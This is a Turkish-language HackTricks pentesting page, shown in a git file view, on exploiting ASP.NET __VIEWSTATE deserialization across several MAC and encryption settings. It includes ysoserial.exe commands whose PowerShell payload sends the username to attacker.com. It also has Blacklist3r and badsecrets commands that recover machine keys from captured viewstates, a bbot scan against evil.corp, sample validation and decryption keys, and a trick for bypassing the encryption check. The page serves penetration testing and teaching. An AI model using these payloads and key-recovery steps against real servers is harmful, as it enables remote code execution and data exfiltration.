hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

222 lines
17 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# \_\_VIEWSTATE Parametresini Sırları Bilmeden Sömürme
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-01 17:15:42 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2024-02-10 18:14:16 +00:00
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı polonyaca yazılı ve konuşulan gereklidir_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2024-02-10 18:14:16 +00:00
## ViewState Nedir
2024-02-10 18:14:16 +00:00
**ViewState**, ASP.NET'te sayfa ve kontrol verilerini web sayfaları arasında korumak için varsayılan mekanizma olarak hizmet verir. Bir sayfanın HTML olarak işlenmesi sırasında, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizilere seri hale getirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
2024-02-10 18:14:16 +00:00
ViewState bilgisi aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
2024-02-06 14:12:47 +00:00
- **Base64**:
2024-02-10 18:14:16 +00:00
- Bu format, hem `EnableViewStateMac` hem de `ViewStateEncryptionMode` öznitelikleri false olarak ayarlandığında kullanılır.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
- **Base64 + MAC (Message Authentication Code) Etkin**:
- MAC'nin etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla elde edilir. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
- **Base64 + Şifreli**:
- Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
## Test Durumları
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
Resim, .NET framework sürümüne dayalı olarak ASP.NET'te ViewState için farklı yapılandırmaları detaylandıran bir tablodur. İçeriğin özeti aşağıda verilmiştir:
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
1. **Herhangi bir .NET sürümü için**, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerektirilmez ve dolayısıyla tanımlamak için uygulanabilir bir yöntem yoktur.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
2. **4.5 sürümünden önceki sürümler için**, MAC etkinleştirilmiş olsa da Şifreleme devre dışı bırakıldığında, bir MachineKey gereklidir. MachineKey'i tanımlamak için kullanılan yöntem "Blacklist3r" olarak adlandırılır.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
3. **4.5 sürümünden önceki sürümler için**, MAC etkin veya devre dışı olsa da, Şifreleme etkinleştirildiğinde bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecekteki Geliştirme" görevidir.
2024-02-10 18:14:16 +00:00
4. **4.5 ve sonraki sürümler için**, MAC ve Şifreleme kombinasyonlarının tümü (hem ikisi true, hem biri true ve diğeri false olsa da) bir MachineKey gerektirir. MachineKey, "Blacklist3r" kullanılarak tanımlanabilir.
2024-02-10 18:14:16 +00:00
### Test Durumu: 1 EnableViewStateMac=false ve viewStateEncryptionMode=false
2024-02-10 18:14:16 +00:00
Ayrıca, `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak ViewStateMAC'yi tamamen devre dışı bırakmak da mümkündür:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
2024-02-10 18:14:16 +00:00
**ViewState Özniteliklerini Belirleme**
2024-02-10 18:14:16 +00:00
ViewState'nin MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalayarak deneyebilirsiniz. Eğer parametre korumak için Mac kullanılmıyorsa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanarak bunu sömürebilirsiniz.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
2024-02-10 18:14:16 +00:00
### Test Case 1.5 Test Case 1 gibi ViewState çerezi sunucu tarafından gönderilmez
2024-02-10 18:14:16 +00:00
Geliştiriciler, ViewState'in bir HTTP İsteğinin bir parçası olmasını engelleyebilir (kullanıcı bu çerezi almayacaktır).\
ViewState'in **mevcut olmadığını** varsayabiliriz, bu durumda ViewState deserializasyonuyla ilgili herhangi bir potansiyel güvenlik açığından korunduğumuzu düşünebiliriz.\
Ancak durum böyle değildir. ViewState parametresini istek gövdesine ekler ve ysoserial kullanarak oluşturduğumuz seri hedefimizi gönderirsek, yine de **kod yürütme** elde edebiliriz, Case 1'de gösterildiği gibi.
2024-02-06 14:12:47 +00:00
2024-02-10 18:14:16 +00:00
### Test Case: 2 .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
2024-02-10 18:14:16 +00:00
Bir **belirli bir sayfa** için ViewState MAC'ini etkinleştirmek için belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekmektedir:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
2024-02-10 18:14:16 +00:00
**Genel olarak**, aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak uygulama için de yapabiliriz:
2024-02-06 14:12:47 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
2024-02-10 18:14:16 +00:00
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
2024-02-10 18:14:16 +00:00
Parametre bu sefer MAC korumalı olduğu için saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.
2024-02-10 18:14:16 +00:00
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)'ı deneyebilirsiniz.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
2024-02-10 18:14:16 +00:00
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets), bilinen machineKeys'i tespit edebilen başka bir araçtır. Python ile yazıldığı için Blacklist3r gibi Windows bağımlılığı yoktur. .NET viewstate'leri için, kullanmanın en hızlı yolu olan "python blacklist3r" adında bir yardımcı program bulunmaktadır.
2024-02-10 18:14:16 +00:00
Görünüm durumu ve üreteci doğrudan sağlanabilir:
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
2023-03-24 21:40:35 +00:00
2024-02-10 18:14:16 +00:00
Veya, doğrudan hedef URL'ye bağlanabilir ve HTML'den viewstate'i çıkarmayı deneyebilir:
2023-03-24 21:40:35 +00:00
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
2023-03-24 21:40:35 +00:00
2024-02-10 18:14:16 +00:00
Ölçeklenebilir bir şekilde zayıf viewstate'leri aramak için, alt alan taraması ile birlikte `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) modülü kullanılabilir:
2023-03-24 21:40:35 +00:00
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
2023-03-24 21:40:35 +00:00
2024-02-10 18:14:16 +00:00
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** kullanarak saldırıya devam edebilirsiniz.
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
2024-02-10 18:14:16 +00:00
_SERVER tarafından `_VIEWSTATEGENERATOR` parametresi **gönderilmediği** durumlarda `--generator` parametresini **belirtmeniz gerekmez, ancak bunları** belirtmelisiniz:
```bash
--apppath="/" --path="/hello.aspx"
```
2024-02-10 18:14:16 +00:00
### Test Durumu: 3 .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true
2024-02-10 18:14:16 +00:00
Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değerin muhtemelen şifreli olduğu ve zafiyeti sömürmek için payload'ınızı şifrelemek için **Makine Anahtarına ihtiyacınız olacağı** anlamına gelir.
2024-02-10 18:14:16 +00:00
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilmektedir...**
2024-02-10 18:14:16 +00:00
**.NET 4.5 öncesinde**, ASP.NET, **`ViewStateEncryptionMode`** _**Her zaman**_ olarak ayarlanmış olsa bile, kullanıcılardan **şifrelenmemiş** bir \_`__VIEWSTATE`\_ parametresini **kabul edebilir**. ASP.NET, sadece istekte **`__VIEWSTATEENCRYPTED`** parametresinin varlığını kontrol eder. **Bu parametreyi kaldırırsanız ve şifrelenmemiş payload gönderirseniz, yine de işlenecektir.**
2024-02-10 18:14:16 +00:00
Bu nedenle, saldırganlar, ViewState deserialization zafiyetini kullanarak RCE gerçekleştirmek için [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutunu **2. Durumda** kullanıldığı gibi, dosya gezintisi gibi başka bir zafiyet aracılığıyla Makine Anahtarını elde etme yolunu bulurlarsa kullanabilirler.
2024-02-10 18:14:16 +00:00
* ViewState deserialization zafiyetini sömürmek için istekten `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve saldırı başarısız olacaktır.
2024-02-10 18:14:16 +00:00
### Test Durumu: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, ancak her iki özelliğin de false olarak ayarlanması
2024-02-10 18:14:16 +00:00
Aşağıdaki gibi web.config dosyasının içine aşağıdaki parametreyi belirterek ASP.NET framework'ün kullanımını zorlayabiliriz.
2024-02-06 14:12:47 +00:00
```xml
<httpRuntime targetFramework="4.5" />
```
2024-02-10 18:14:16 +00:00
Alternatif olarak, bunu web.config dosyasının `machineKey` parametresi içine aşağıdaki seçeneği belirterek yapabilirsiniz.
```bash
compatibilityMode="Framework45"
```
2024-02-10 18:14:16 +00:00
Önceki gibi **değer şifrelenmiştir.** Dolayısıyla, **geçerli bir saldırı yükü göndermek için saldırganın anahtara ihtiyacı vardır.**
2024-02-10 18:14:16 +00:00
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)'ı deneyebilirsiniz:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
2024-02-10 18:14:16 +00:00
IISDirPath ve TargetPagePath için daha detaylı bir açıklama için [buraya](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) bakın.
2024-02-10 18:14:16 +00:00
Veya, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ile (bir üreteç değeriyle):
2024-02-06 14:12:47 +00:00
```bash
2023-03-24 21:40:35 +00:00
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
2024-02-06 14:12:47 +00:00
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
2023-03-24 21:40:35 +00:00
2024-02-10 18:14:16 +00:00
Geçerli bir Makine anahtarı belirlendikten sonra, **bir sonraki adım** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **kullanarak seri hale getirilmiş bir payload oluşturmaktır**.
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
2024-02-10 18:14:16 +00:00
Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, bu değeri kullanarak `--generator` parametresini deneyebilir ve `--path` ve `--apppath` parametrelerini atlayabilirsiniz.
2022-04-06 08:57:29 +00:00
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
2024-02-10 18:14:16 +00:00
ViewState deserialization açığı başarılı bir şekilde sömürüldüğünde, kullanıcı adını içeren saldırgan tarafından kontrol edilen bir sunucuya yönelik bir out-of-band isteği gerçekleşir. Bu tür bir saldırı, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" adlı bir kaynakta bulunan bir kanıt olarak gösterilir. Sömürü sürecinin nasıl çalıştığı ve Blacklist3r gibi araçları kullanarak MachineKey'i belirleme konusunda daha fazla ayrıntı için sağlanan [Successful Exploitation PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)u inceleyebilirsiniz.
2024-02-10 18:14:16 +00:00
### Test Durumu 6 - ViewStateUserKeys kullanılıyor
2024-02-10 18:14:16 +00:00
**ViewStateUserKey** özelliği, bir **CSRF saldırısına** karşı **savunma** olarak kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve yukarıda tartışılan yöntemlerle ViewState payload'u oluşturmaya çalışırsak, **payload uygulama tarafından işlenmeyecektir**.\
Doğru bir şekilde payload oluşturabilmek için bir tane daha parametre kullanmanız gerekmektedir:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
2024-02-10 18:14:16 +00:00
### Başarılı Saldırının Sonucu <a href="#poc" id="poc"></a>
2024-02-10 18:14:16 +00:00
Tüm test durumları için, eğer ViewState YSoSerial.Net payload'u **başarılı bir şekilde** çalışıyorsa, sunucu "500 Internal server error" yanıtıyla yanıt verir ve yanıt içeriği "The state information is invalid for this page and might be corrupted" olur ve OOB isteği alırız.
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [buraya](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) bakın.
2024-02-10 18:14:16 +00:00
## Referanslar
2022-04-05 22:24:52 +00:00
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
2024-02-10 18:14:16 +00:00
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
2022-04-05 22:24:52 +00:00
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
2023-03-24 21:40:35 +00:00
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
2022-04-28 16:01:33 +00:00
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2024-02-10 18:14:16 +00:00
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-01 17:15:42 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklam vermek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da** takip edin.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>